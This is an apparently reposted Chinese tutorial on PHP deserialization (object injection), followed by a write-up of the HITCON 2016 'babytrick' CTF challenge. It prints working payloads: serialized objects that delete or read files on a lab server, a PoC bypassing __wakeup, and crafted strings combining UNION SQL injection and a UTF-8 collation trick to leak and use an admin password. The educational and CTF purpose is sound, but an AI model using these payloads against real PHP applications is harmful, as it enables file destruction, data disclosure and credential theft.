您的位置:首页 > 编程语言 > PHP开发

PHP反序列化漏洞

2018-01-16 09:31 691 查看
php反序列化漏洞又称为php对象注入,是一个非常常见的漏洞,这个类型的漏洞虽然有些难以利用,但仍旧非常危险。为了理解这个漏洞,请读者具备基础的php知识。类和变量是非常容易理解的php概念。举个例子,1.php在一个类中定义了一个变量和一个方法。它创建了一个对象并且调用了PrintVariable函数,该函数会输出变量variable。

<?php

class TestClass

{

// 一个变量

public $variable = 'This is a string';

// 一个简单的方法

public function PrintVariable()

{

echo $this->variable;

}

}

// 创建一个对象

$object = new TestClass();

// 调用一个方法

$object->PrintVariable();

?>

php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct,
__destruct和__toString。可以看出,__construct在对象创建时调用,__destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。

<?php

class TestClass

{

// 一个变量

public $variable = 'This is a string';

// 一个简单的方法

public function PrintVariable()

{

echo $this->variable . '<br />';

}

// Constructor

public function __construct()

{

echo '__construct <br />';

}

// Destructor

public function __destruct()

{

echo '__destruct <br />';

}

// Call

public function __toString()

{

return '__toString<br />';

}

}

// 创建一个对象

// __construct会被调用

$object = new TestClass();

// 创建一个方法

$object->PrintVariable();

// 对象被当作一个字符串

// __toString会被调用

echo $object;

// End of PHP script

// 脚本结束__destruct会被调用

?>

php允许保存一个对象方便以后重用,这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果为一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize则可以将serialize生成的字符串变换回变量。让我们在3.php中添加序列化的例子,看看php对象序列化之后的格式。

<?php

// 某类

class User

{

// 类数据

public $age = 0;

public $name = '';

// 输出数据

public function PrintData()

{

echo 'User ' . $this->name . ' is ' . $this->age

. ' years old. <br />';

}

}

// 创建一个对象

$usr = new User();

// 设置数据

$usr->age = 20;

$usr->name = 'John';

// 输出数据

$usr->PrintData();

// 输出序列化之后的数据

echo serialize($usr);

?>

为了使用这个对象,在4.php中用unserialize重建对象。

<?php

// 某类

class User

{

// Class data

public $age = 0;

public $name = '';

// Print data

public function PrintData()

{

echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';

}

}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>

magic函数__construct和__destruct会在对象创建或者销毁时自动调用;__sleep magic方法在一个对象被序列化的时候调用;__wakeup magic方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。

<?php

class Test

{

public $variable = 'BUZZ';

public $variable2 = 'OTHER';

public function PrintVariable()

{

echo $this->variable . '<br />';

}

public function __construct()

{

echo '__construct<br />';

}

public function __destruct()

{

echo '__destruct<br />';

}

public function __wakeup()

{

echo '__wakeup<br />';

}

public function __sleep()

{

echo '__sleep<br />';

return array('variable', 'variable2');

}

}

// 创建对象调用__construct

$obj = new Test();

// 序列化对象调用__sleep

$serialized = serialize($obj);

// 输出序列化后的字符串

print 'Serialized: ' . $serialized . '<br />';

// 重建对象调用__wakeup

$obj2 = unserialize($serialized);

// 调用PintVariable输出数据

$obj2->PrintVariable();

// 脚本结束调用__destruct

?>

现在我们了解序列化是如何工作的,但是我们如何利用它呢?有多种可能的方法,取决于应用程序、可用的类和magic函数。记住,序列化对象包含攻击者控制的对象值。你可能在Web应用程序源代码中找到一个定义__wakeup或__destruct的类,这些函数会影响Web应用程序。例如,我们可能会找到一个临时将日志存储到文件中的类。当销毁时对象可能不再需要日志文件并将其删除。把下面这段代码保存为logfile.php。

<?php

class LogFile

{

// log文件名

public $filename = 'error.log';

// 储存日志文件

public function LogData($text)

{

echo 'Log some data: ' . $text . '<br />';

file_put_contents($this->filename, $text, FILE_APPEND);

}

// 删除日志文件

public function __destruct()

{

echo '__destruct deletes "' . $this->filename . '" file. <br />';

unlink(dirname(__FILE__) . '/' . $this->filename);

}

}

?>

这是一个使用它的例子。

<?php

include 'logfile.php';

// 创建一个对象

$obj = new LogFile();

// 设置文件名和要储存的日志数据

$obj->filename = 'somefile.log';

$obj->LogData('Test');

// 脚本结束__destruct被调用somefile.log文件被删除

?>

在其它脚本中我们可能找到一个unserialize的调用,并且参数是用户提供的。把下面这段代码保存为test.php。

<?php

include 'logfile.php';

// ... 一些使用LogFile类的代码...

// 简单的类定义

class User

{

// 类数据

public $age = 0;

public $name = '';

// 输出数据

public function PrintData()

{

echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';

}

}

// 重建用户输入的数据

$usr = unserialize($_GET['usr_serialized']);

?>

<?php

include 'logfile.php';

$obj = new LogFile();

$obj->filename = '1.php';

echo serialize($obj) . '<br />';

?>

访问http://192.168.153.138/test.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:5:"1.php";}。

显示已经删除了1.php。验证一下,果然成功删除了。

这就是漏洞名称的由来:在变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行或者其它坑爹的行为。先不谈 __wakeup 和 __destruct,还有一些很常见的注入点允许你利用这个类型的漏洞,一切都是取决于程序逻辑。举个例子,某用户类定义了一个__toString为了让应用程序能够将类作为一个字符串输出(echo $obj),而且其他类也可能定义了一个类允许__toString读取某个文件。把下面这段代码保存为test.php。

<?php

// … 一些include ...

class FileClass

{

// 文件名

public $filename = 'error.log';

// 当对象被作为一个字符串会读取这个文件

public function __toString()

{

return file_get_contents($this->filename);

}

}

// Main User class

class User

{

// Class data

public $age = 0;

public $name = '';

// 允许对象作为一个字符串输出上面的data

public function __toString()

{

return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';

}

}

// 用户可控

$obj = unserialize($_GET['usr_serialized']);

// 输出__toString

echo $obj;

}

?>

访问http://192.168.153.138/test.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}。

但是如果我们用序列化调用FileClass呢?先建立一个1.txt。

创建利用代码123.php。

<?php

include 'test.php';

$fileobj = new FileClass();

$fileobj->filename = '1.txt';

echo serialize($fileobj);

?>

访问http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}。

成功显示了文本内容。也可以使用其他magic函数:如果对象将调用一个不存在的函数__call将被调用;如果对象试图访问不存在的类变量__get和__set将被调用。但是利用这种漏洞并不局限于magic函数,在普通的函数上也可以采取相同的思路。例如User类可能定义一个get方法来查找和打印一些用户数据,但是其他类可能定义一个从数据库获取数据的get方法,这从而会导致SQL注入漏洞。set或write方法会将数据写入任意文件,可以利用它获得远程代码执行。唯一的技术问题是注入点可用的类,但是一些框架或脚本具有自动加载的功能。最大的问题在于人:理解应用程序以能够利用这种类型的漏洞,因为它可能需要大量的时间来阅读和理解代码。
以上原文地址:https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

由HITCON 2016一道web聊一聊php反序列化漏洞

1.unserialize函数
php官方文档(http://php.net/manual/en/function.unserialize.php),从中可以得到信息unserialize函数会产生一个php值,类型可能为数组、对象等等。如果被反序列化的变量为对象,在成功重构对象后php会自动调用__wakeup成员方法(如果方法存在、解构失败会返回false)同时给出了警告,不要传递给unserialize不信任的用户输入。

理解序列化的字符串(unserlialize的参数):

O:3:”foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}

O:3: 参数类型为对象(object),数组(array)为a

“foo”:2: 参数名为foo,有两个值

S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i),长度为4,值为file。长度为9的字符串shell.php

s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data,长度为5的字符串aaaaa

object foo,属性file:shell.php,属性data:aaaaa
2.反序列化漏洞
php反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)
个人理解漏洞为执行unserialize函数,调用某一类并执行魔术方法(magic method),之后可以执行类中函数,产生安全问题。
所以漏洞的前提:

1)unserialize函数的变量可控

2)php文件中存在可利用的类,类中有魔术方
利用场景在ctf、代码审计中常见,黑盒测试要通过检查cookie等有没有序列化的值来查看。
反序列化漏洞比如去年12月的joomla反序列化漏洞、SugarCRM v6.5.23 PHP反序列化对象注入漏洞,ctf中比如三个白帽第三期、安恒杯web3。
防御方法主要有对参数进行处理、换用更安全的函数。
推荐阅读:SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析
3.反序列化练习
如下为一个php文件源码,我们定义了一个对象之后又创建了对象并输出了序列化的字符串
<?php

// 某类

class User

{

// 类数据

public
$age = 0;

public
$name =
'';

// 输出数据

public
function
PrintData()

{

echo
'User ' .
$this->name .
' is ' .
$this->age

.
' years old. <br />';

}

}

// 创建一个对象

$usr = new User();

// 设置数据

$usr->age = 20;

$usr->name =
'John';

// 输出数据

$usr->PrintData();

// 输出序列化之后的数据

echo serialize($usr);

?>
输出为:
User
John
is 20
years
old.
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
以下代码同上,不过并没有创建对象,而是使用unserialize函数调用了这个类。大家可以试一下。
<?php

// 某类

class User

{

// Class data

public $age = 0;

public $name = '';

// Print data
public
function
PrintData()

{

echo
'User ' . $this->name .
' is ' . $this->age .
' years old. <br />';

}

}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>
输出为:User John is 20 years old
这个函数中的序列化字符串为’O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;}’,即一个user对象,属性值age为20,属性值name为john。调用user类并给属性赋了值,在有魔术方法时会自动调用。
4.writeup实战
以本次HITCON 2016的web题babytrick为例:
访问链接 http://52.198.42.246/ 可以看到源代码如下:
(目前已关闭,可访问https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick查看源码
<?php
include
"config.php";
class
HITCON{
private
$method;
private
$args;
private
$conn;
public
function
__construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function
show() {
list($username)
= func_get_args();
$sql = sprintf("SELECT * FROM
users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if
( $obj != false ) {
$this->__die( sprintf("%s
is %s", $obj->username, $obj->role) );
}
else {
$this->__die("Nobody Nobody
But You!");
}

}
function
login() {
global
$FLAG;
list($username,
$password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM
users WHERE username='%s' AND password='%s'", $username, $password);
if
( $username == 'orange' || stripos($sql,
'orange') !=
false ) {
$this->__die("Orange is so
shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if
( $obj != false && $obj->role ==
'admin' ) {
$this->__die("Hi, Orange!
Here is your flag: " . $FLAG);
}
else {
$this->__die("Admin only!");
}
}
function
source() {
highlight_file(__FILE__);
}
function
__conn() {
global
$db_host, $db_name, $db_user, $db_pass, $DEBUG;
if
(!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if
($DEBUG) {
$sql =
"CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql =
"INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode
= 'strict_all_tables'");
}
function
__query($sql, $back=true) {
$result = @mysql_query($sql);
if
($back) {
return
@mysql_fetch_object($result);
}
}
function
__die($msg) {
$this->__close();
header("Content-Type: application/json");
die(
json_encode( array("msg"=>
$msg) ) );
}
function
__close() {
mysql_close($this->conn);
}
function
__destruct() {
$this->__conn();
if
(in_array($this->method, array("show",
"login",
"source"))) {
@call_user_func_array(array($this,
$this->method), $this->args);
}
else {
$this->__die("What do you
do?");
}
$this->__close();
}
function
__wakeup() {
foreach($this->args
as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
if(isset($_GET["data"]))
{
@unserialize($_GET["data"]);

}
else {
new
HITCON("source",
array());
}
从源码中可以看到使用了unserialize函数并且没有过滤,且定义了类。所以想到php反序列化漏洞、对象注入。
要想得到flag,需要利用反序列化执行类中函数login。首先需要用户orange密码(如果存在orange的话),于是利用类中show函数得到密码。
看show函数我们可以看出未对参数进行过滤,可以进行sql注入,构造语句为:
bla’ union
select
password,username,password
from
users
where username=’orange’– –
那么如何使用反序列化执行函数呢?注意到类中有魔术方法__wakeup,其中函数会对我们的输入进行过滤、转义。
如何绕过__wakeup呢?简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考https://bugs.php.net/bug.php?id=72663,某一种情况下,出错的对象不会被毁掉,会绕过__wakeup函数、引用其他的魔术方法。
官方exp如下:
<?php
class obj implements Serializable {
var
$data;
function
serialize() {
return
serialize($this->data);
}
function
unserialize($data) {
$this->data = unserialize($data);
}
}
$inner =
'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}';
$exploit =
'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';
$data = unserialize($exploit);
echo $data[1];
?>
根据poc进行改造如下,计入了
O:9:"Exception":2:{s:7:"*file";R:4;};}
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:8:"password";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}
这种情况下就不会执行__wakeup方法。
(同时该cve介绍了另一种情况,即成员属性数目大于实际数目时可绕过wakeup方法,把 O:6:”HITCON”:3 中的3改为任意比3大数字即可,如5。另一种绕过方法为对wakeup过滤的绕过,利用了sql注入中的/**/
为什么构造的字符串为“%00HITCON%00…”呢?k14us大佬告诉我序列化时生成的序列化字符串中类名前后本来就会有0×00,url编码下为%00。可以echo(serialize($o))查看。前面举的例子之所以没用%00是因为成员属性为private。
如果在文件里直接调试就不用url编码,直接” HITCON …”即可(%00替换为空格
加入注入语句为:
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:2:{i:0;s:83:"bla’
union select password,username,password from users where username=’orange’– –";i:1;s:6:"phddaa";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}
得到结果:
{“msg”:”babytrick1234 is babytrick1234″}
构造好:
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}
这时会返回
{“msg”:”Orange is so shy. He do not want to see you.”}
接下来考虑如何绕过,注意到__conn方法中有 mysql_query(“SET names utf8″); 观察到php的字符编码不是utf8,考虑利用字符差异绕过。目前看到的两个wp利用的字母有Ą、Ã,可实现绕过。
poc为:
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}
得到了空白页面,注意到 s:6:”orÃnge” ,改为s:6:”orÃnge” ,构造如下:
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}
得到了结果,很开心有木有?
{“msg”:”Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn’t it?}”}
参考资料:
http://0xecute.com/index.php/2016/10/10/baby-trick/#comment-644
http://www.wtoutiao.com/p/1e1gMC1.html
http://www.freebuf.com/vuls/80293.html
http://netsecurity.51cto.com/art/201502/464982.htm
https://kovige.github.io/2016/08/17/PHP%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/
http://www.melodia.pw/2016/10/10/hitcon-2016-web-writeup/
http://www.neatstudio.com/show-161-1.shtml
* 本文原创作者:grt1stnull,本文属FreeBuf原创奖励计划,未经许可禁止转载
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: